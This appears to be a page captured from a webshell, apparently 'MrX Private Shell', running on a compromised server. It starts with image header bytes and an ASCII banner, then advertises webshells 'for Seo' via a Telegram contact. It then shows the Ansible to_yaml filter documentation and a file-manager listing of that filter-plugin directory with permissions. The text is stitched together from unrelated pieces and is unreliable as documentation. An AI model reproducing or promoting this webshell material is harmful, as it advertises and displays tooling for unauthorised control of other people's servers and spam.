����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
DOCUMENTATION:
name: to_yaml
author: core team
version_added: 'historical'
short_description: Convert variable to YAML string
description:
- Converts an Ansible variable into a YAML string representation.
- This filter functions as a wrapper to the L(Python PyYAML library, https://pypi.org/project/PyYAML/)'s C(yaml.dump) function.
- Ansible automatically converts YAML strings into variable structures so this plugin is used to forcibly retain a YAML string.
positional: _input
options:
_input:
description: A variable or expression that returns a data structure.
type: raw
required: true
indent:
description: Number of spaces to indent Python structures, mainly used for display to humans.
type: integer
sort_keys:
description: Affects sorting of dictionary keys.
default: True
type: bool
notes:
- More options may be available, see L(PyYAML documentation, https://pyyaml.org/wiki/PyYAMLDocumentation) for details.
# TODO: find docs for these
#allow_unicode:
# description:
# type: bool
# default: true
#default_flow_style
#default_style
#canonical=None,
#width=None,
#line_break=None,
#encoding=None,
#explicit_start=None,
#explicit_end=None,
#version=None,
#tags=None
EXAMPLES: |
# dump variable in a template to create a YAML document
{{ github_workflow |to_yaml}}
# same as above but 'prettier' (equivalent to to_nice_yaml filter)
{{ docker_config|to_json(indent=4) }}
RETURN:
_value:
description: The YAML serialized string representing the variable structure inputted.
type: string
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 510 B | 0644 |
|
| b64decode.yml | File | 927 B | 0644 |
|
| b64encode.yml | File | 543 B | 0644 |
|
| basename.yml | File | 809 B | 0644 |
|
| bool.yml | File | 631 B | 0644 |
|
| checksum.yml | File | 524 B | 0644 |
|
| combinations.yml | File | 780 B | 0644 |
|
| combine.yml | File | 1.63 KB | 0644 |
|
| comment.yml | File | 2.09 KB | 0644 |
|
| core.py | File | 21.05 KB | 0644 |
|
| dict2items.yml | File | 1.28 KB | 0644 |
|
| difference.yml | File | 1 KB | 0644 |
|
| dirname.yml | File | 820 B | 0644 |
|
| encryption.py | File | 2.63 KB | 0644 |
|
| expanduser.yml | File | 506 B | 0644 |
|
| expandvars.yml | File | 569 B | 0644 |
|
| extract.yml | File | 1.34 KB | 0644 |
|
| fileglob.yml | File | 589 B | 0644 |
|
| flatten.yml | File | 846 B | 0644 |
|
| from_json.yml | File | 905 B | 0644 |
|
| from_yaml.yml | File | 959 B | 0644 |
|
| from_yaml_all.yml | File | 1.25 KB | 0644 |
|
| hash.yml | File | 861 B | 0644 |
|
| human_readable.yml | File | 993 B | 0644 |
|
| human_to_bytes.yml | File | 1.02 KB | 0644 |
|
| intersect.yml | File | 969 B | 0644 |
|
| items2dict.yml | File | 1.52 KB | 0644 |
|
| log.yml | File | 904 B | 0644 |
|
| mandatory.yml | File | 537 B | 0644 |
|
| mathstuff.py | File | 8.12 KB | 0644 |
|
| md5.yml | File | 709 B | 0644 |
|
| password_hash.yml | File | 1.09 KB | 0644 |
|
| path_join.yml | File | 846 B | 0644 |
|
| permutations.yml | File | 969 B | 0644 |
|
| pow.yml | File | 692 B | 0644 |
|
| product.yml | File | 1.87 KB | 0644 |
|
| quote.yml | File | 492 B | 0644 |
|
| random.yml | File | 1.16 KB | 0644 |
|
| realpath.yml | File | 546 B | 0644 |
|
| regex_escape.yml | File | 688 B | 0644 |
|
| regex_findall.yml | File | 1.12 KB | 0644 |
|
| regex_replace.yml | File | 1.47 KB | 0644 |
|
| regex_search.yml | File | 1.04 KB | 0644 |
|
| rekey_on_member.yml | File | 921 B | 0644 |
|
| relpath.yml | File | 758 B | 0644 |
|
| root.yml | File | 618 B | 0644 |
|
| sha1.yml | File | 729 B | 0644 |
|
| shuffle.yml | File | 685 B | 0644 |
|
| split.yml | File | 833 B | 0644 |
|
| splitext.yml | File | 746 B | 0644 |
|
| strftime.yml | File | 1.33 KB | 0644 |
|
| subelements.yml | File | 1.4 KB | 0644 |
|
| symmetric_difference.yml | File | 1 KB | 0644 |
|
| ternary.yml | File | 1.52 KB | 0644 |
|
| to_datetime.yml | File | 1.58 KB | 0644 |
|
| to_json.yml | File | 2.69 KB | 0644 |
|
| to_nice_json.yml | File | 2.21 KB | 0644 |
|
| to_nice_yaml.yml | File | 1.55 KB | 0644 |
|
| to_uuid.yml | File | 785 B | 0644 |
|
| to_yaml.yml | File | 1.64 KB | 0644 |
|
| type_debug.yml | File | 508 B | 0644 |
|
| union.yml | File | 954 B | 0644 |
|
| unique.yml | File | 839 B | 0644 |
|
| unvault.yml | File | 1.04 KB | 0644 |
|
| urldecode.yml | File | 1.53 KB | 0644 |
|
| urls.py | File | 508 B | 0644 |
|
| urlsplit.py | File | 2.56 KB | 0644 |
|
| vault.yml | File | 1.63 KB | 0644 |
|
| win_basename.yml | File | 673 B | 0644 |
|
| win_dirname.yml | File | 679 B | 0644 |
|
| win_splitdrive.yml | File | 819 B | 0644 |
|
| zip.yml | File | 1.32 KB | 0644 |
|
| zip_longest.yml | File | 1.23 KB | 0644 |
|